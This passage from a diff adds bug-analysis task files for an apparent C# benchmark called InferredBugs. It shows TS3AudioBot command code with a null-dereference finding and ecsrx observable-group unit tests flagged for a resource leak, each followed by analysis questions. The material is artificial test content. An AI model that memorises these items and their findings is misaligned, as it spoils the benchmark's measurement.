+				GroupWhisper = targetManager.SendMode == TargetSendMode.WhisperGroup ?
+				new
+				{
+					Target = targetManager.GroupWhisperTarget,
+					TargetId = targetManager.GroupWhisperTargetId,
+					Type = targetManager.GroupWhisperType,
+				}
+				: null,
+				WhisperClients = targetManager.WhisperClients,
+				WhisperChannel = targetManager.WhisperChannel,
+			},
+			x =>
+			{
+				var strb = new StringBuilder(strings.cmd_whisper_list_header);
+				strb.AppendLine();
+				switch (x.SendMode)
+				{
+				case TargetSendMode.None: strb.Append(strings.cmd_whisper_list_target_none); break;
+				case TargetSendMode.Voice: strb.Append(strings.cmd_whisper_list_target_voice); break;
+				case TargetSendMode.Whisper:
+					strb.Append(strings.cmd_whisper_list_target_whisper_clients).Append(": [").Append(string.Join(",", x.WhisperClients)).Append("]\n");
+					strb.Append(strings.cmd_whisper_list_target_whisper_channel).Append(": [").Append(string.Join(",", x.WhisperChannel)).Append("]");
+					break;
+				case TargetSendMode.WhisperGroup:
+					strb.AppendFormat(strings.cmd_whisper_list_target_whispergroup, x.GroupWhisper.Type, x.GroupWhisper.Target, x.GroupWhisper.TargetId);
+					break;
+				default:
+					throw new ArgumentOutOfRangeException();
+				}
+				return strb.ToString();
+			});
+		}
+
+		[Command("whisper off")]
+		public static void CommandWhisperOff(IVoiceTarget targetManager) => targetManager.SendMode = TargetSendMode.Voice;
+
+		[Command("whisper subscription")]
+		public static void CommandWhisperSubsription(IVoiceTarget targetManager) => targetManager.SendMode = TargetSendMode.Whisper;
+
+		[Command("xecute")]
+		public static void CommandXecute(ExecutionInformation info, IReadOnlyList<ICommand> arguments)
+		{
+			foreach (var arg in arguments)
+				arg.Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnAnyPreferNothing);
+		}
+		// ReSharper enable UnusedMember.Global
+
+		private static Playlist AutoGetPlaylist(UserSession session, InvokerData invoker)
+		{
+			if (session == null)
+				throw new CommandException(strings.error_no_session_in_context, CommandExceptionReason.MissingContext);
+			var result = session.Get<PlaylistManager, Playlist>();
+			if (result)
+				return result.Value;
+
+			var newPlist = new Playlist(invoker.NickName, invoker.ClientUid);
+			session.Set<PlaylistManager, Playlist>(newPlist);
+			return newPlist;
+		}
+
+		public static bool HasRights(this ExecutionInformation info, params string[] rights)
+		{
+			if (!info.TryGet<CallerInfo>(out var caller)) caller = null;
+			if (caller?.SkipRightsChecks ?? false)
+				return true;
+			if (!info.TryGet<RightsManager>(out var rightsManager))
+				return false;
+			return rightsManager.HasAllRights(info, rights);
+		}
+
+		public static E<LocalStr> Write(this ExecutionInformation info, string message)
+		{
+			if (!info.TryGet<Ts3Client>(out var ts3Client))
+				return new LocalStr(strings.error_no_teamspeak_in_context);
+
+			if (!info.TryGet<InvokerData>(out var invoker))
+				return new LocalStr(strings.error_no_invoker_in_context);
+
+			if (!invoker.Visibiliy.HasValue || !invoker.ClientId.HasValue)
+				return new LocalStr(strings.error_invoker_not_visible);
+
+			switch (invoker.Visibiliy.Value)
+			{
+			case TextMessageTargetMode.Private:
+				return ts3Client.SendMessage(message, invoker.ClientId.Value);
+			case TextMessageTargetMode.Channel:
+				return ts3Client.SendChannelMessage(message);
+			case TextMessageTargetMode.Server:
+				return ts3Client.SendServerMessage(message);
+			default:
+				throw Util.UnhandledDefault(invoker.Visibiliy.Value);
+			}
+		}
+	}
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `botlock` last assigned on line 1144 could be null and is dereferenced at line 1146, column 5.
+
+### Severity:
+ERROR
+
+### Procedure:
+ConfigPart MainCommands.CommandSettingsBotGet(BotManager,ConfRoot,String,String)
+
+### File:
+TS3AudioBot/MainCommands.cs
+
+### Key:
+MainCommands.cs|CommandSettingsBotGet|NULL_DEREFERENCE
+
+### Node Key:
+90825a7d87dfb6c34ee8b64fc8666b31
+
+### Hash:
+02321496280ee01062c2ca69668a640d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1812/instruction.md b/inferredbugs-1812/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..19cc5edfc71e33010cc2be0a1aaeae5c377b876a
--- /dev/null
+++ b/inferredbugs-1812/instruction.md
@@ -0,0 +1,396 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ecsrx
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Reactive.Linq;
+using System.Reactive.Subjects;
+using EcsRx.Collections;
+using EcsRx.Entities;
+using EcsRx.Events;
+using EcsRx.Groups.Observable;
+using EcsRx.Reactive;
+using EcsRx.Tests.Models;
+using NSubstitute;
+using Xunit;
+
+namespace EcsRx.Tests.Framework
+{
+    public class ObservableGroupTests
+    {
+        [Fact]
+        public void should_include_entity_snapshot_on_creation()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new Type[] { }, "default");
+
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            
+            var dummyEntitySnapshot = new List<IEntity>
+            {
+                new Entity(Guid.NewGuid(), mockEventSystem),
+                new Entity(Guid.NewGuid(), mockEventSystem),
+                new Entity(Guid.NewGuid(), mockEventSystem)
+            };
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, dummyEntitySnapshot);
+
+            Assert.Equal(3, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal(dummyEntitySnapshot[0], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[0].Id]);
+            Assert.Equal(dummyEntitySnapshot[1], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[1].Id]);
+            Assert.Equal(dummyEntitySnapshot[2], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[2].Id]);
+
+            cacheableGroupAccessor.Dispose();
+        }
+
+        [Fact]
+        public void should_only_cache_applicable_entity_when_applicable_entity_added()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var collectionName = "defaut";
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, collectionName);
+            var mockCollection = Substitute.For<IEntityCollection>();
+            mockCollection.Name.Returns(collectionName);
+            
+            var applicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            applicableEntity.AddComponent<TestComponentOne>();
+            applicableEntity.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityAddedEvent>(new EntityAddedEvent(applicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { });
+            underlyingEvent.SetValueAndForceNotify(new EntityAddedEvent(unapplicableEntity, mockCollection));
+            
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(applicableEntity, cacheableGroupAccessor.CachedEntities[applicableEntity.Id]);
+        }
+
+        [Fact]
+        public void should_not_cache_applicable_entity_when_added_to_different_collection()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var collectionName = "defaut";
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "some-other-entityCollection-name");
+            var mockCollection = Substitute.For<IEntityCollection>();
+            mockCollection.Name.Returns(collectionName);
+
+            var applicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            applicableEntity.AddComponent<TestComponentOne>();
+            applicableEntity.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityAddedEvent>(new EntityAddedEvent(applicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { });
+            underlyingEvent.SetValueAndForceNotify(new EntityAddedEvent(unapplicableEntity, mockCollection));
+
+            Assert.Empty(cacheableGroupAccessor.CachedEntities);
+        }
+
+        [Fact]
+        public void should_only_remove_applicable_entity_when_entity_removed()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+            var mockCollection = Substitute.For<IEntityCollection>();
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            existingEntityOne.AddComponent<TestComponentOne>();
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            existingEntityTwo.AddComponent<TestComponentOne>();
+            existingEntityTwo.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityRemovedEvent>(new EntityRemovedEvent(unapplicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { existingEntityOne, existingEntityTwo });
+            underlyingEvent.SetValueAndForceNotify(new EntityRemovedEvent(existingEntityOne, mockCollection));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityTwo, cacheableGroupAccessor.CachedEntities[existingEntityTwo.Id]);
+        }
+
+        [Fact]
+        public void should_only_remove_entity_when_components_no_longer_match_group()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            var componentToRemove = new TestComponentOne();
+            existingEntityOne.AddComponent(componentToRemove);
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            var unapplicableComponent = new TestComponentThree();
+            existingEntityTwo.AddComponent<TestComponentOne>();
+            existingEntityTwo.AddComponent<TestComponentTwo>();
+            existingEntityTwo.AddComponent(unapplicableComponent);
+
+            var dummyEventToSeedMock = new ComponentsRemovedEvent(new Entity(Guid.NewGuid(), mockEventSystem), new[] {new TestComponentOne()});
+            var underlyingEvent = new ReactiveProperty<ComponentsRemovedEvent>(dummyEventToSeedMock);
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { existingEntityOne, existingEntityTwo });
+            existingEntityOne.RemoveComponent(componentToRemove);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsRemovedEvent(existingEntityOne, new [] {componentToRemove}));
+
+            existingEntityTwo.RemoveComponent(unapplicableComponent);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsRemovedEvent(existingEntityTwo, new[] {unapplicableComponent}));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityTwo, cacheableGroupAccessor.CachedEntities[existingEntityTwo.Id]);
+        }
+
+        [Fact]
+        public void should_only_add_entity_when_components_match_group()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            var componentToAdd = new TestComponentOne();
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            var unapplicableComponent = new TestComponentThree();
+            existingEntityTwo.AddComponent<TestComponentOne>();
+
+            var dummyEventToSeedMock = new ComponentsAddedEvent(new Entity(Guid.NewGuid(), mockEventSystem), new[]{new TestComponentOne()});
+            var underlyingEvent = new ReactiveProperty<ComponentsAddedEvent>(dummyEventToSeedMock);
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] {});
+            existingEntityOne.AddComponent(componentToAdd);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsAddedEvent(existingEntityOne, new[]{componentToAdd}));
+
+            existingEntityTwo.AddComponent(unapplicableComponent);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsAddedEvent(existingEntityTwo, new[]{unapplicableComponent}));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityOne, cacheableGroupAccessor.CachedEntities[existingEntityOne.Id]);
+        }
+        
+        [Fact]
+        public void should_correctly_notify_when_entity_added()
+        {
+            var componentTypes = new[] {typeof(TestComponentOne), typeof(TestComponentTwo)};
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var mockCollection = Substitute.For<IEntityCollection>();
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+            
+            var fakeEntity1 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            mockCollection.Name.Returns("default");
+            
+            var underlyingEvent = new Subject<EntityAddedEvent>();
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            
+            var observableGroup = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[0]);
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityAdded, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            underlyingEvent.OnNext(new EntityAddedEvent(fakeEntity1, mockCollection));
+            underlyingEvent.OnNext(new EntityAddedEvent(fakeEntity2, mockCollection));
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_entity_removed()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var mockCollection = Substitute.For<IEntityCollection>();
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            mockCollection.Name.Returns("default");
+            
+            var underlyingEvent = new Subject<EntityRemovedEvent>();
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(underlyingEvent);
+            
+            var observableGroup = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[]{ fakeEntity1 });
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityRemoved, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+
+            underlyingEvent.OnNext(new EntityRemovedEvent(fakeEntity1, mockCollection));
+            underlyingEvent.OnNext(new EntityRemovedEvent(fakeEntity2, mockCollection));
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_component_added()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var fakeEventSystem = new EventSystem(new MessageBroker());
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+
+            var timesCalled = 0;
+            
+            var observableGroup = new ObservableGroup(fakeEventSystem, accessorToken, new IEntity[0]);
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityAdded, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            fakeEntity1.AddComponent<TestComponentTwo>();
+            fakeEntity1.AddComponent<TestComponentThree>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_component_removed()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var fakeEventSystem = new EventSystem(new MessageBroker());
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+            fakeEntity1.AddComponent<TestComponentThree>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            
+            var observableGroup = new ObservableGroup(fakeEventSystem, accessorToken, new IEntity[]{fakeEntity1});
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityRemoved, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            fakeEntity1.RemoveComponent<TestComponentThree>();
+            fakeEntity1.RemoveComponent<TestComponentTwo>();
+            fakeEntity2.RemoveComponent<TestComponentThree>();
+
+            Assert.Equal(1, timesCalled);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of EcsRx.Entities.Entity::.ctor() at Line 29) of type EcsRx.Entities.Entity, Leaked resource (output of EcsRx.Entities.Entity::.ctor() at Line 29) of type EcsRx.Entities.Entity, Leaked resource (output of EcsRx.Entities.Entity::.ctor() at Line 29) of type EcsRx.Entities.Entity in method "Void ObservableGroupTests.should_include_entity_snapshot_on_creation()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ObservableGroupTests.should_include_entity_snapshot_on_creation()
+
+### File:
+src/EcsRx.Tests/Framework/ObservableGroupTests.cs
+
+### Key:
+ObservableGroupTests.cs|should_include_entity_snapshot_on_creation|DOTNET_RESOURCE_LEAK
+
+### Hash:
+11e5a8ee3a792456794f7fd4805a79ae
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1813/instruction.md b/inferredbugs-1813/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..deaa80fb15535fac6d0b4009d565791546949191
--- /dev/null
+++ b/inferredbugs-1813/instruction.md
@@ -0,0 +1,396 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ecsrx
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Reactive.Linq;
+using System.Reactive.Subjects;
+using EcsRx.Collections;
+using EcsRx.Entities;
+using EcsRx.Events;
+using EcsRx.Groups.Observable;
+using EcsRx.Reactive;
+using EcsRx.Tests.Models;
+using NSubstitute;
+using Xunit;
+
+namespace EcsRx.Tests.Framework
+{
+    public class ObservableGroupTests
+    {
+        [Fact]
+        public void should_include_entity_snapshot_on_creation()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new Type[] { }, "default");
+
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            
+            var dummyEntitySnapshot = new List<IEntity>
+            {
+                new Entity(Guid.NewGuid(), mockEventSystem),
+                new Entity(Guid.NewGuid(), mockEventSystem),
+                new Entity(Guid.NewGuid(), mockEventSystem)
+            };
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, dummyEntitySnapshot);
+
+            Assert.Equal(3, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal(dummyEntitySnapshot[0], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[0].Id]);
+            Assert.Equal(dummyEntitySnapshot[1], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[1].Id]);
+            Assert.Equal(dummyEntitySnapshot[2], cacheableGroupAccessor.CachedEntities[dummyEntitySnapshot[2].Id]);
+
+            cacheableGroupAccessor.Dispose();
+        }
+
+        [Fact]
+        public void should_only_cache_applicable_entity_when_applicable_entity_added()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var collectionName = "defaut";
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, collectionName);
+            var mockCollection = Substitute.For<IEntityCollection>();
+            mockCollection.Name.Returns(collectionName);
+            
+            var applicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            applicableEntity.AddComponent<TestComponentOne>();
+            applicableEntity.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityAddedEvent>(new EntityAddedEvent(applicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { });
+            underlyingEvent.SetValueAndForceNotify(new EntityAddedEvent(unapplicableEntity, mockCollection));
+            
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(applicableEntity, cacheableGroupAccessor.CachedEntities[applicableEntity.Id]);
+        }
+
+        [Fact]
+        public void should_not_cache_applicable_entity_when_added_to_different_collection()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var collectionName = "defaut";
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "some-other-entityCollection-name");
+            var mockCollection = Substitute.For<IEntityCollection>();
+            mockCollection.Name.Returns(collectionName);
+
+            var applicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            applicableEntity.AddComponent<TestComponentOne>();
+            applicableEntity.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityAddedEvent>(new EntityAddedEvent(applicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { });
+            underlyingEvent.SetValueAndForceNotify(new EntityAddedEvent(unapplicableEntity, mockCollection));
+
+            Assert.Empty(cacheableGroupAccessor.CachedEntities);
+        }
+
+        [Fact]
+        public void should_only_remove_applicable_entity_when_entity_removed()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+            var mockCollection = Substitute.For<IEntityCollection>();
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            existingEntityOne.AddComponent<TestComponentOne>();
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            existingEntityTwo.AddComponent<TestComponentOne>();
+            existingEntityTwo.AddComponent<TestComponentTwo>();
+
+            var unapplicableEntity = new Entity(Guid.NewGuid(), mockEventSystem);
+            unapplicableEntity.AddComponent<TestComponentOne>();
+
+            var underlyingEvent = new ReactiveProperty<EntityRemovedEvent>(new EntityRemovedEvent(unapplicableEntity, mockCollection));
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { existingEntityOne, existingEntityTwo });
+            underlyingEvent.SetValueAndForceNotify(new EntityRemovedEvent(existingEntityOne, mockCollection));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityTwo, cacheableGroupAccessor.CachedEntities[existingEntityTwo.Id]);
+        }
+
+        [Fact]
+        public void should_only_remove_entity_when_components_no_longer_match_group()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
